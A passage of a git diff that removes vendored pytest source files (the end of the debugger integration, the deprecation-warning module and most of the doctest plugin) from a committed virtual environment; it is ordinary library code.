cls._wrapped_pdb_cls and cls._wrapped_pdb_cls[0] == usepdb_cls: - return cls._wrapped_pdb_cls[1] - - if usepdb_cls: - modname, classname = usepdb_cls - - try: - mod = importlib.import_module(modname) - - # Handle --pdbcls=pdb:pdb.Pdb (useful e.g. with pdbpp). - parts = classname.split(".") - pdb_cls = getattr(mod, parts[0]) - for part in parts[1:]: - pdb_cls = getattr(pdb_cls, part) - except Exception as exc: - value = ":".join((modname, classname)) - raise UsageError( - f"--pdbcls: could not import {value!r}: {exc}" - ) from exc - else: - import pdb - - pdb_cls = pdb.Pdb - - wrapped_cls = cls._get_pdb_wrapper_class(pdb_cls, capman) - cls._wrapped_pdb_cls = (usepdb_cls, wrapped_cls) - return wrapped_cls - - @classmethod - def _get_pdb_wrapper_class(cls, pdb_cls, capman: CaptureManager | None): - import _pytest.config - - class PytestPdbWrapper(pdb_cls): - _pytest_capman = capman - _continued = False - - def do_debug(self, arg): - cls._recursive_debug += 1 - ret = super().do_debug(arg) - cls._recursive_debug -= 1 - return ret - - if hasattr(pdb_cls, "do_debug"): - do_debug.__doc__ = pdb_cls.do_debug.__doc__ - - def do_continue(self, arg): - ret = super().do_continue(arg) - if cls._recursive_debug == 0: - assert cls._config is not None - tw = _pytest.config.create_terminal_writer(cls._config) - tw.line() - - capman = self._pytest_capman - capturing = pytestPDB._is_capturing(capman) - if capturing: - if capturing == "global": - tw.sep(">", "PDB continue (IO-capturing resumed)") - else: - tw.sep( - ">", - f"PDB continue (IO-capturing resumed for {capturing})", - ) - assert capman is not None - capman.resume() - else: - tw.sep(">", "PDB continue") - assert cls._pluginmanager is not None - cls._pluginmanager.hook.pytest_leave_pdb(config=cls._config, pdb=self) - self._continued = True - return ret - - if hasattr(pdb_cls, "do_continue"): - do_continue.__doc__ = pdb_cls.do_continue.__doc__ - - do_c = do_cont = do_continue - - def do_quit(self, arg): - # Raise Exit outcome when quit command is used in pdb. - # - # This is a bit of a hack - it would be better if BdbQuit - # could be handled, but this would require to wrap the - # whole pytest run, and adjust the report etc. - ret = super().do_quit(arg) - - if cls._recursive_debug == 0: - outcomes.exit("Quitting debugger") - - return ret - - if hasattr(pdb_cls, "do_quit"): - do_quit.__doc__ = pdb_cls.do_quit.__doc__ - - do_q = do_quit - do_exit = do_quit - - def setup(self, f, tb): - """Suspend on setup(). - - Needed after do_continue resumed, and entering another - breakpoint again. - """ - ret = super().setup(f, tb) - if not ret and self._continued: - # pdb.setup() returns True if the command wants to exit - # from the interaction: do not suspend capturing then. - if self._pytest_capman: - self._pytest_capman.suspend_global_capture(in_=True) - return ret - - def get_stack(self, f, t): - stack, i = super().get_stack(f, t) - if f is None: - # Find last non-hidden frame. - i = max(0, len(stack) - 1) - while i and stack[i][0].f_locals.get("__tracebackhide__", False): - i -= 1 - return stack, i - - return PytestPdbWrapper - - @classmethod - def _init_pdb(cls, method, *args, **kwargs): - """Initialize PDB debugging, dropping any IO capturing.""" - import _pytest.config - - if cls._pluginmanager is None: - capman: CaptureManager | None = None - else: - capman = cls._pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend(in_=True) - - if cls._config: - tw = _pytest.config.create_terminal_writer(cls._config) - tw.line() - - if cls._recursive_debug == 0: - # Handle header similar to pdb.set_trace in py37+. - header = kwargs.pop("header", None) - if header is not None: - tw.sep(">", header) - else: - capturing = cls._is_capturing(capman) - if capturing == "global": - tw.sep(">", f"PDB {method} (IO-capturing turned off)") - elif capturing: - tw.sep( - ">", - f"PDB {method} (IO-capturing turned off for {capturing})", - ) - else: - tw.sep(">", f"PDB {method}") - - _pdb = cls._import_pdb_cls(capman)(**kwargs) - - if cls._pluginmanager: - cls._pluginmanager.hook.pytest_enter_pdb(config=cls._config, pdb=_pdb) - return _pdb - - @classmethod - def set_trace(cls, *args, **kwargs) -> None: - """Invoke debugging via ``Pdb.set_trace``, dropping any IO capturing.""" - frame = sys._getframe().f_back - _pdb = cls._init_pdb("set_trace", *args, **kwargs) - _pdb.set_trace(frame) - - -class PdbInvoke: - def pytest_exception_interact( - self, node: Node, call: CallInfo[Any], report: BaseReport - ) -> None: - capman = node.config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture(in_=True) - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stdout.write(err) - assert call.excinfo is not None - _enter_pdb(node, call.excinfo, report) - - def pytest_internalerror(self, excinfo: ExceptionInfo[BaseException]) -> None: - exc_or_tb = _postmortem_exc_or_tb(excinfo) - post_mortem(exc_or_tb) - - -class PdbTrace: - @hookimpl(wrapper=True) - def pytest_pyfunc_call(self, pyfuncitem) -> Generator[None, object, object]: - wrap_pytest_function_for_tracing(pyfuncitem) - return (yield) - - -def wrap_pytest_function_for_tracing(pyfuncitem) -> None: - """Change the Python function object of the given Function item by a - wrapper which actually enters pdb before calling the python function - itself, effectively leaving the user in the pdb prompt in the first - statement of the function.""" - _pdb = pytestPDB._init_pdb("runcall") - testfunction = pyfuncitem.obj - - # we can't just return `partial(pdb.runcall, testfunction)` because (on - # python < 3.7.4) runcall's first param is `func`, which means we'd get - # an exception if one of the kwargs to testfunction was called `func`. - @functools.wraps(testfunction) - def wrapper(*args, **kwargs) -> None: - func = functools.partial(testfunction, *args, **kwargs) - _pdb.runcall(func) - - pyfuncitem.obj = wrapper - - -def maybe_wrap_pytest_function_for_tracing(pyfuncitem) -> None: - """Wrap the given pytestfunct item for tracing support if --trace was given in - the command line.""" - if pyfuncitem.config.getvalue("trace"): - wrap_pytest_function_for_tracing(pyfuncitem) - - -def _enter_pdb( - node: Node, excinfo: ExceptionInfo[BaseException], rep: BaseReport -) -> BaseReport: - # XXX we reuse the TerminalReporter's terminalwriter - # because this seems to avoid some encoding related troubles - # for not completely clear reasons. - tw = node.config.pluginmanager.getplugin("terminalreporter")._tw - tw.line() - - showcapture = node.config.option.showcapture - - for sectionname, content in ( - ("stdout", rep.capstdout), - ("stderr", rep.capstderr), - ("log", rep.caplog), - ): - if showcapture in (sectionname, "all") and content: - tw.sep(">", "captured " + sectionname) - if content[-1:] == "\n": - content = content[:-1] - tw.line(content) - - tw.sep(">", "traceback") - rep.toterminal(tw) - tw.sep(">", "entering PDB") - tb_or_exc = _postmortem_exc_or_tb(excinfo) - rep._pdbshown = True # type: ignore[attr-defined] - post_mortem(tb_or_exc) - return rep - - -def _postmortem_exc_or_tb( - excinfo: ExceptionInfo[BaseException], -) -> types.TracebackType | BaseException: - from doctest import UnexpectedException - - get_exc = sys.version_info >= (3, 13) - if isinstance(excinfo.value, UnexpectedException): - # A doctest.UnexpectedException is not useful for post_mortem. - # Use the underlying exception instead: - underlying_exc = excinfo.value - if get_exc: - return underlying_exc.exc_info[1] - - return underlying_exc.exc_info[2] - elif isinstance(excinfo.value, ConftestImportFailure): - # A config.ConftestImportFailure is not useful for post_mortem. - # Use the underlying exception instead: - cause = excinfo.value.cause - if get_exc: - return cause - - assert cause.__traceback__ is not None - return cause.__traceback__ - else: - assert excinfo._excinfo is not None - if get_exc: - return excinfo._excinfo[1] - - return excinfo._excinfo[2] - - -def post_mortem(tb_or_exc: types.TracebackType | BaseException) -> None: - p = pytestPDB._init_pdb("post_mortem") - p.reset() - p.interaction(None, tb_or_exc) - if p.quitting: - outcomes.exit("Quitting debugger") diff --git a/venv/Lib/site-packages/_pytest/deprecated.py b/venv/Lib/site-packages/_pytest/deprecated.py deleted file mode 100644 index 95e75e60f32b00a28b3939b61639cad609ebee06..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/deprecated.py +++ /dev/null @@ -1,139 +0,0 @@ -"""Deprecation messages and bits of code used elsewhere in the codebase that -is planned to be removed in the next pytest release. - -Keeping it in a central location makes it easy to track what is deprecated and should -be removed when the time comes. - -All constants defined in this module should be either instances of -:class:`PytestWarning`, or :class:`UnformattedWarning` -in case of warnings which need to format their messages. -""" - -from __future__ import annotations - -from warnings import warn - -from _pytest.warning_types import PytestDeprecationWarning -from _pytest.warning_types import PytestRemovedIn10Warning -from _pytest.warning_types import UnformattedWarning - - -# set of plugins which have been integrated into the core; we use this list to ignore -# them during registration to avoid conflicts -DEPRECATED_EXTERNAL_PLUGINS = { - "pytest_catchlog", - "pytest_capturelog", - "pytest_faulthandler", - "pytest_subtests", -} - - -# This could have been removed pytest 8, but it's harmless and common, so no rush to remove. -YIELD_FIXTURE = PytestDeprecationWarning( - "@pytest.yield_fixture is deprecated.\n" - "Use @pytest.fixture instead; they are the same." -) - -CLASS_FIXTURE_INSTANCE_METHOD = PytestRemovedIn10Warning( - "Class-scoped fixture defined as instance method is deprecated.\n" - "Instance attributes set in this fixture will NOT be visible to test methods,\n" - "as each test gets a new instance while the fixture runs only once per class.\n" - "Use @classmethod decorator and set attributes on cls instead.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#class-scoped-fixture-as-instance-method" -) - -# This deprecation is never really meant to be removed. -PRIVATE = PytestDeprecationWarning("A private pytest class or function was used.") - - -HOOK_LEGACY_MARKING = UnformattedWarning( - PytestRemovedIn10Warning, - "The hook{type} {fullname} uses old-style configuration options (marks or attributes).\n" - "Please use the pytest.hook{type}({hook_opts}) decorator instead\n" - " to configure the hooks.\n" - " See https://docs.pytest.org/en/latest/deprecations.html" - "#configuring-hook-specs-impls-using-markers", -) - -MONKEYPATCH_LEGACY_NAMESPACE_PACKAGES = PytestRemovedIn10Warning( - "monkeypatch.syspath_prepend() called with pkg_resources legacy namespace packages detected.\n" - "Legacy namespace packages (using pkg_resources.declare_namespace) are deprecated.\n" - "Please use native namespace packages (PEP 420) instead.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#monkeypatch-fixup-namespace-packages" -) - -PARAMETRIZE_NON_COLLECTION_ITERABLE = UnformattedWarning( - PytestRemovedIn10Warning, - "Passing a non-Collection iterable to parametrize is deprecated.\n" - "Test: {nodeid}, argvalues type: {type_name}\n" - "Please convert to a list or tuple.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#parametrize-iterators", -) - -CONSOLE_MAIN = PytestRemovedIn10Warning( - "pytest.console_main() is deprecated and will be removed in pytest 10.\n" - "It was never intended for programmatic use; use pytest.main() instead.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#console-main" -) - -CONFIG_INICFG = PytestRemovedIn10Warning( - "config.inicfg is deprecated, use config.getini() to access configuration values instead.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#config-inicfg" -) - -FIXTURE_GETFIXTUREVALUE_DURING_TEARDOWN = UnformattedWarning( - PytestRemovedIn10Warning, - 'Calling request.getfixturevalue("{argname}") during teardown is deprecated.\n' - "Please request the fixture before teardown begins, either by declaring it in the fixture signature " - "or by calling request.getfixturevalue() before the fixture yields.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#dynamic-fixture-request-during-teardown", -) - -PASTEBIN = PytestRemovedIn10Warning( - "The --pastebin option is deprecated. " - "The functionality is now available in an external plugin package, pytest-pastebin.\n" - "See https://docs.pytest.org/en/stable/deprecations.html#the-pastebin-option" -) - -# You want to make some `__init__` or function "private". -# -# def my_private_function(some, args): -# ... -# -# Do this: -# -# def my_private_function(some, args, *, _ispytest: bool = False): -# check_ispytest(_ispytest) -# ... -# -# Change all internal/allowed calls to -# -# my_private_function(some, args, _ispytest=True) -# -# All other calls will get the default _ispytest=False and trigger -# the warning (possibly error in the future). - - -FIXTURE_BASEID_DEPRECATED = PytestRemovedIn10Warning( - "Passing baseid to FixtureDef is deprecated. Pass node instead for fixture scoping." -) - -FIXTURE_NODEID_DEPRECATED = PytestRemovedIn10Warning( - "Passing nodeid to _register_fixture is deprecated. " - "Pass node instead for fixture scoping." -) - -FIXTUREDEF_HAS_LOCATION_DEPRECATED = PytestRemovedIn10Warning( - "FixtureDef.has_location is deprecated and will be removed in pytest 10. " - "See https://docs.pytest.org/en/stable/deprecations.html#fixturedef-has-location-deprecated" -) - -PARSEFACTORIES_NODEID_DEPRECATED = PytestRemovedIn10Warning( - "Passing nodeid string to parsefactories is deprecated. " - "Use parsefactories(holder=obj, node=node) instead." -) - - -def check_ispytest(ispytest: bool) -> None: - if not ispytest: - warn(PRIVATE, stacklevel=3) diff --git a/venv/Lib/site-packages/_pytest/doctest.py b/venv/Lib/site-packages/_pytest/doctest.py deleted file mode 100644 index b1f365109ba81ed7087a188547603967dbd23577..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/doctest.py +++ /dev/null @@ -1,735 +0,0 @@ -# mypy: allow-untyped-defs -"""Discover and run doctests in modules and test files.""" - -from __future__ import annotations - -import bdb -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Sequence -from contextlib import contextmanager -import functools -import inspect -import os -from pathlib import Path -import platform -import re -import sys -import traceback -import types -from typing import Any -from typing import TYPE_CHECKING -import warnings - -from _pytest import outcomes -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import ReprFileLocation -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.compat import safe_getattr -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.fixtures import fixture -from _pytest.fixtures import TopRequest -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import OutcomeException -from _pytest.outcomes import skip -from _pytest.pathlib import fnmatch_ex -from _pytest.python import Module -from _pytest.python_api import approx -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - import doctest - - from typing_extensions import Self - -DOCTEST_REPORT_CHOICE_NONE = "none" -DOCTEST_REPORT_CHOICE_CDIFF = "cdiff" -DOCTEST_REPORT_CHOICE_NDIFF = "ndiff" -DOCTEST_REPORT_CHOICE_UDIFF = "udiff" -DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE = "only_first_failure" - -DOCTEST_REPORT_CHOICES = ( - DOCTEST_REPORT_CHOICE_NONE, - DOCTEST_REPORT_CHOICE_CDIFF, - DOCTEST_REPORT_CHOICE_NDIFF, - DOCTEST_REPORT_CHOICE_UDIFF, - DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE, -) - -# Lazy definition of runner class -RUNNER_CLASS = None -# Lazy definition of output checker class -CHECKER_CLASS: type[doctest.OutputChecker] | None = None - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "doctest_optionflags", - "Option flags for doctests", - type="args", - default=["ELLIPSIS"], - ) - parser.addini( - "doctest_encoding", "Encoding used for doctest files", default="utf-8" - ) - group = parser.getgroup("collect") - group.addoption( - "--doctest-modules", - action="store_true", - default=False, - help="Run doctests in all .py modules", - dest="doctestmodules", - ) - group.addoption( - "--doctest-report", - type=str.lower, - default="udiff", - help="Choose another output format for diffs on doctest failure", - choices=DOCTEST_REPORT_CHOICES, - dest="doctestreport", - ) - group.addoption( - "--doctest-glob", - action="append", - default=[], - metavar="pat", - help="Doctests file matching pattern, default: test*.txt", - dest="doctestglob", - ) - group.addoption( - "--doctest-ignore-import-errors", - action="store_true", - default=False, - help="Ignore doctest collection errors", - dest="doctest_ignore_import_errors", - ) - group.addoption( - "--doctest-continue-on-failure", - action="store_true", - default=False, - help="For a given doctest, continue to run after the first failure", - dest="doctest_continue_on_failure", - ) - - -def pytest_unconfigure() -> None: - global RUNNER_CLASS - - RUNNER_CLASS = None - - -def pytest_collect_file( - file_path: Path, - parent: Collector, -) -> DoctestModule | DoctestTextfile | None: - config = parent.config - if file_path.suffix == ".py": - if config.option.doctestmodules and not any( - (_is_setup_py(file_path), _is_main_py(file_path)) - ): - return DoctestModule.from_parent(parent, path=file_path) - elif _is_doctest(config, file_path, parent): - return DoctestTextfile.from_parent(parent, path=file_path) - return None - - -def _is_setup_py(path: Path) -> bool: - if path.name != "setup.py": - return False - contents = path.read_bytes() - return b"setuptools" in contents or b"distutils" in contents - - -def _is_doctest(config: Config, path: Path, parent: Collector) -> bool: - if path.suffix in (".txt", ".rst") and parent.session.isinitpath(path): - return True - globs = config.getoption("doctestglob") or ["test*.txt"] - return any(fnmatch_ex(glob, path) for glob in globs) - - -def _is_main_py(path: Path) -> bool: - return path.name == "__main__.py" - - -class ReprFailDoctest(TerminalRepr): - def __init__( - self, reprlocation_lines: Sequence[tuple[ReprFileLocation, Sequence[str]]] - ) -> None: - self.reprlocation_lines = reprlocation_lines - - def toterminal(self, tw: TerminalWriter) -> None: - for reprlocation, lines in self.reprlocation_lines: - for line in lines: - tw.line(line) - reprlocation.toterminal(tw) - - -class MultipleDoctestFailures(Exception): - def __init__(self, failures: Sequence[doctest.DocTestFailure]) -> None: - super().__init__() - self.failures = failures - - -def _init_runner_class() -> type[doctest.DocTestRunner]: - import doctest - - class PytestDoctestRunner(doctest.DebugRunner): - """Runner to collect failures. - - Note that the out variable in this case is a list instead of a - stdout-like object. - """ - - def __init__( - self, - checker: doctest.OutputChecker | None = None, - verbose: bool | None = None, - optionflags: int = 0, - continue_on_failure: bool = True, - ) -> None: - super().__init__(checker=checker, verbose=verbose, optionflags=optionflags) - self.continue_on_failure = continue_on_failure - - def report_failure( - self, - out, - test: doctest.DocTest, - example: doctest.Example, - got: str, - ) -> None: - failure = doctest.DocTestFailure(test, example, got) - if self.continue_on_failure: - out.append(failure) - else: - raise failure - - def report_unexpected_exception( - self, - out, - test: doctest.DocTest, - example: doctest.Example, - exc_info: tuple[type[BaseException], BaseException, types.TracebackType], - ) -> None: - if isinstance(exc_info[1], OutcomeException): - raise exc_info[1] - if isinstance(exc_info[1], bdb.BdbQuit): - outcomes.exit("Quitting debugger") - failure = doctest.UnexpectedException(test, example, exc_info) - if self.continue_on_failure: - out.append(failure) - else: - raise failure - - return PytestDoctestRunner - - -def _get_runner( - checker: doctest.OutputChecker | None = None, - verbose: bool | None = None, - optionflags: int = 0, - continue_on_failure: bool = True, -) -> doctest.DocTestRunner: - # We need this in order to do a lazy import on doctest - global RUNNER_CLASS - if RUNNER_CLASS is None: - RUNNER_CLASS = _init_runner_class() - # Type ignored because the continue_on_failure argument is only defined on - # PytestDoctestRunner, which is lazily defined so can't be used as a type. - return RUNNER_CLASS( # type: ignore - checker=checker, - verbose=verbose, - optionflags=optionflags, - continue_on_failure=continue_on_failure, - ) - - -class DoctestItem(Item): - def __init__( - self, - name: str, - parent: DoctestTextfile | DoctestModule, - runner: doctest.DocTestRunner, - dtest: doctest.DocTest, - ) -> None: - super().__init__(name, parent) - self.runner = runner - self.dtest = dtest - - # Stuff needed for fixture support. - self.obj = None - fm = self.session._fixturemanager - fixtureinfo = fm.getfixtureinfo(node=self, func=None, cls=None) - self._fixtureinfo = fixtureinfo - self.fixturenames = fixtureinfo.names_closure - self._initrequest() - - @classmethod - def from_parent( # type: ignore[override] - cls, - parent: DoctestTextfile | DoctestModule, - *, - name: str, - runner: doctest.DocTestRunner, - dtest: doctest.DocTest, - ) -> Self: - # incompatible signature due to imposed limits on subclass - """The public named constructor.""" - return super().from_parent(name=name, parent=parent, runner=runner, dtest=dtest) - - def _initrequest(self) -> None: - self.funcargs: dict[str, object] = {} - self._request = TopRequest(self, _ispytest=True) # type: ignore[arg-type] - - def setup(self) -> None: - self._request._fillfixtures() - globs = dict(getfixture=self._request.getfixturevalue) - for name, value in self._request.getfixturevalue("doctest_namespace").items(): - globs[name] = value - self.dtest.globs.update(globs) - - def runtest(self) -> None: - _check_all_skipped(self.dtest) - self._disable_output_capturing_for_darwin() - failures: list[doctest.DocTestFailure] = [] - # Type ignored because we change the type of `out` from what - # doctest expects. - self.runner.run(self.dtest, out=failures) # type: ignore[arg-type] - if failures: - raise MultipleDoctestFailures(failures) - - def _disable_output_capturing_for_darwin(self) -> None: - """Disable output capturing. Otherwise, stdout is lost to doctest (#985).""" - if platform.system() != "Darwin": - return - capman = self.config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture(in_=True) - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stderr.write(err) - - # TODO: Type ignored -- breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, - excinfo: ExceptionInfo[BaseException], - ) -> str | TerminalRepr: - import doctest - - failures: ( - Sequence[doctest.DocTestFailure | doctest.UnexpectedException] | None - ) = None - if isinstance( - excinfo.value, doctest.DocTestFailure | doctest.UnexpectedException - ): - failures = [excinfo.value] - elif isinstance(excinfo.value, MultipleDoctestFailures): - failures = excinfo.value.failures - - if failures is None: - return super().repr_failure(excinfo) - - reprlocation_lines = [] - for failure in failures: - example = failure.example - test = failure.test - filename = test.filename - if test.lineno is None: - lineno = None - else: - lineno = test.lineno + example.lineno + 1 - message = type(failure).__name__ - # TODO: ReprFileLocation doesn't expect a None lineno. - reprlocation = ReprFileLocation(filename, lineno, message) # type: ignore[arg-type] - checker = _get_checker() - report_choice = _get_report_choice(self.config.getoption("doctestreport")) - if lineno is not None: - assert failure.test.docstring is not None - lines = failure.test.docstring.splitlines(False) - # add line numbers to the left of the error message - assert test.lineno is not None - lines = [ - f"{i + test.lineno + 1:03d} {x}" for (i, x) in enumerate(lines) - ] - # trim docstring error lines to 10 - lines = lines[max(example.lineno - 9, 0) : example.lineno + 1] - else: - lines = [ - "EXAMPLE LOCATION UNKNOWN, not showing all tests of that example" - ] - indent = ">>>" - for line in example.source.splitlines(): - lines.append(f"??? {indent} {line}") - indent = "..." - if isinstance(failure, doctest.DocTestFailure): - lines += checker.output_difference( - example, failure.got, report_choice - ).split("\n") - else: - inner_excinfo = ExceptionInfo.from_exc_info(failure.exc_info) - lines += [f"UNEXPECTED EXCEPTION: {inner_excinfo.value!r}"] - lines += [ - x.strip("\n") for x in traceback.format_exception(*failure.exc_info) - ] - reprlocation_lines.append((reprlocation, lines)) - return ReprFailDoctest(reprlocation_lines) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - return self.path, self.dtest.lineno, f"[doctest] {self.name}" - - -def _get_flag_lookup() -> dict[str, int]: - import doctest - - return dict( - DONT_ACCEPT_TRUE_FOR_1=doctest.DONT_ACCEPT_TRUE_FOR_1, - DONT_ACCEPT_BLANKLINE=doctest.DONT_ACCEPT_BLANKLINE, - NORMALIZE_WHITESPACE=doctest.NORMALIZE_WHITESPACE, - ELLIPSIS=doctest.ELLIPSIS, - IGNORE_EXCEPTION_DETAIL=doctest.IGNORE_EXCEPTION_DETAIL, - COMPARISON_FLAGS=doctest.COMPARISON_FLAGS, - ALLOW_UNICODE=_get_allow_unicode_flag(), - ALLOW_BYTES=_get_allow_bytes_flag(), - NUMBER=_get_number_flag(), - ) - - -def get_optionflags(config: Config) -> int: - optionflags_str = config.getini("doctest_optionflags") - flag_lookup_table = _get_flag_lookup() - flag_acc = 0 - for flag in optionflags_str: - flag_acc |= flag_lookup_table[flag] - return flag_acc - - -def _get_continue_on_failure(config: Config) -> bool: - continue_on_failure: bool = config.getvalue("doctest_continue_on_failure") - if continue_on_failure: - # We need to turn off this if we use pdb since we should stop at - # the first failure. - if config.getvalue("usepdb"): - continue_on_failure = False - return continue_on_failure - - -class DoctestTextfile(Module): - obj = None - - def collect(self) -> Iterable[DoctestItem]: - import doctest - - # Inspired by doctest.testfile; ideally we would use it directly, - # but it doesn't support passing a custom checker. - encoding = self.config.getini("doctest_encoding") - text = self.path.read_text(encoding) - filename = str(self.path) - name = self.path.name - globs = {"__name__": "__main__"} - - optionflags = get_optionflags(self.config) - - runner = _get_runner( - verbose=False, - optionflags=optionflags, - checker=_get_checker(), - continue_on_failure=_get_continue_on_failure(self.config), - ) - - parser = doctest.DocTestParser() - test = parser.get_doctest(text, globs, name, filename, 0) - if test.examples: - yield DoctestItem.from_parent( - self, name=test.name, runner=runner, dtest=test - ) - - -def _check_all_skipped(test: doctest.DocTest) -> None: - """Raise pytest.skip() if all examples in the given DocTest have the SKIP - option set.""" - import doctest - - all_skipped = all(x.options.get(doctest.SKIP, False) for x in test.examples) - if all_skipped: - skip("all tests skipped by +SKIP option") - - -def _is_mocked(obj: object) -> bool: - """Return if an object is possibly a mock object by checking the - existence of a highly improbable attribute.""" - return ( - safe_getattr(obj, "pytest_mock_example_attribute_that_shouldnt_exist", None) - is not None - ) - - -@contextmanager -def _patch_unwrap_mock_aware() -> Generator[None]: - """Context manager which replaces ``inspect.unwrap`` with a version - that's aware of mock objects and doesn't recurse into them.""" - real_unwrap = inspect.unwrap - - def _mock_aware_unwrap( - func: Callable[..., Any], *, stop: Callable[[Any], Any] | None = None - ) -> Any: - try: - if stop is None or stop is _is_mocked: - return real_unwrap(func, stop=_is_mocked) - _stop = stop - return real_unwrap(func, stop=lambda obj: _is_mocked(obj) or _stop(func)) - except Exception as e: - warnings.warn( - f"Got {e!r} when unwrapping {func!r}. This is usually caused " - "by a violation of Python's object protocol; see e.g. " - "https://github.com/pytest-dev/pytest/issues/5080", - PytestWarning, - ) - raise - - inspect.unwrap = _mock_aware_unwrap - try: - yield - finally: - inspect.unwrap = real_unwrap - - -class DoctestModule(Module): - def collect(self) -> Iterable[DoctestItem]: - import doctest - - class MockAwareDocTestFinder(doctest.DocTestFinder): - py_ver_info_minor = sys.version_info[:2] - is_find_lineno_broken = ( - py_ver_info_minor < (3, 11) - or (py_ver_info_minor == (3, 11) and sys.version_info.micro < 9) - or (py_ver_info_minor == (3, 12) and sys.version_info.micro < 3) - ) - if is_find_lineno_broken: - - def _find_lineno(self, obj, source_lines): - """On older Pythons, doctest code does not take into account - `@property`. https://github.com/python/cpython/issues/61648 - - Moreover, wrapped Doctests need to be unwrapped so the correct - line number is returned. #8796 - """ - if isinstance(obj, property): - obj = getattr(obj, "fget", obj) - - if hasattr(obj, "__wrapped__"): - # Get the main obj in case of it being wrapped - obj = inspect.unwrap(obj) - - # Type ignored because this is a private function. - return super()._find_lineno( # type:ignore[misc] - obj, - source_lines, - ) - - if sys.version_info < (3, 13): - - def _from_module(self, module, object): - """`cached_property` objects are never considered a part - of the 'current module'. As such they are skipped by doctest. - Here we override `_from_module` to check the underlying - function instead. https://github.com/python/cpython/issues/107995 - """ - if isinstance(object, functools.cached_property): - object = object.func - - # Type ignored because this is a private function. - return super()._from_module(module, object) # type: ignore[misc] - - try: - module = self.obj - except Collector.CollectError: - if self.config.getvalue("doctest_ignore_import_errors"): - skip(f"unable to import module {self.path!r}") - else: - raise - - # doctests supports fixtures via `getfixture` and autouse. - self.session._fixturemanager.parsefactories(self) - - # Uses internal doctest module parsing mechanism. - finder = MockAwareDocTestFinder() - optionflags = get_optionflags(self.config) - runner = _get_runner( - verbose=False, - optionflags=optionflags, - checker=_get_checker(), - continue_on_failure=_get_continue_on_failure(self.config), - ) - - for test in finder.find(module, module.__name__): - if test.examples: # skip empty doctests - yield DoctestItem.from_parent( - self, name=test.name, runner=runner, dtest=test - ) - - -def _init_checker_class() -> type[doctest.OutputChecker]: - import doctest - - class LiteralsOutputChecker(doctest.OutputChecker): - # Based on doctest_nose_plugin.py from the nltk project - # (https://github.com/nltk/nltk) and on the "numtest" doctest extension - # by Sebastien Boisgerault (https://github.com/boisgera/numtest). - - _unicode_literal_re = re.compile(r"(\W|^)[uU]([rR]?[\'\"])", re.UNICODE) - _bytes_literal_re = re.compile(r"(\W|^)[bB]([rR]?[\'\"])", re.UNICODE) - _number_re = re.compile( - r""" - (?P - (?P - (?P [+-]?\d*)\.(?P\d+) - | - (?P [+-]?\d+)\. - ) - (?: - [Ee] - (?P [+-]?\d+) - )? - | - (?P [+-]?\d+) - (?: - [Ee] - (?P [+-]?\d+) - ) - ) - """, - re.VERBOSE, - ) - - def check_output(self, want: str, got: str, optionflags: int) -> bool: - if super().check_output(want, got, optionflags): - return True - - allow_unicode = optionflags & _get_allow_unicode_flag() - allow_bytes = optionflags & _get_allow_bytes_flag() - allow_number = optionflags & _get_number_flag() - - if not allow_unicode and not allow_bytes and not allow_number: - return False - - def remove_prefixes(regex: re.Pattern[str], txt: str) -> str: - return re.sub(regex, r"\1\2", txt) - - if allow_unicode: - want = remove_prefixes(self._unicode_literal_re, want) - got = remove_prefixes(self._unicode_literal_re, got) - - if allow_bytes: - want = remove_prefixes(self._bytes_literal_re, want) - got = remove_prefixes(self._bytes_literal_re, got) - - if allow_number: - got = self._remove_unwanted_precision(want, got) - - return super().check_output(want, got, optionflags) - - def _remove_unwanted_precision(self, want: str, got: str) -> str: - wants = list(self._number_re.finditer(want)) - gots = list(self._number_re.finditer(got)) - if len(wants) != len(gots): - return got - offset = 0 - for w, g in zip(wants, gots, strict=True): - fraction: str | None = w.group("fraction") - exponent: str | None = w.group("exponent1") - if exponent is None: - exponent = w.group("exponent2") - precision = 0 if fraction is None else len(fraction) - if exponent is not None: - precision -= int(exponent) - if float(w.group()) == approx(float(g.group()), abs=10**-precision): - # They're close enough. Replace the text we actually - # got with the text we want, so that it will match when we - # check the string literally. - got = ( - got[: g.start() + offset] + w.group() + got[g.end() + offset :] - ) - offset += w.end() - w.start() - (g.end() - g.start()) - return got - - return LiteralsOutputChecker - - -def _get_checker() -> doctest.OutputChecker: - """Return a doctest.OutputChecker subclass that supports some - additional options: - - * ALLOW_UNICODE and ALLOW_BYTES options to ignore u'' and b'' - prefixes (respectively) in string literals. Useful when the same - doctest should run in Python 2 and Python 3. - - * NUMBER to ignore floating-point differences smaller than the - precision of the literal number in the doctest. - - An inner class is used to avoid importing "doctest" at the module - level. - """ - global CHECKER_CLASS - if CHECKER_CLASS is None: - CHECKER_CLASS = _init_checker_class() - return CHECKER_CLASS() - - -def _get_allow_unicode_flag() -> int: - """Register and return the ALLOW_UNICODE flag.""" - import doctest - - return doctest.register_optionflag("ALLOW_UNICODE") - - -def _get_allow_bytes_flag() -> int: - """Register and return the ALLOW_BYTES flag.""" - import doctest - - return doctest.register_optionflag("ALLOW_BYTES") - - -def _get_number_flag() -> int: - """Register and return the NUMBER flag.""" - import doctest - - return doctest.register_optionflag("NUMBER") - - -def _get_report_choice(key: str) -> int: - """Return the actual 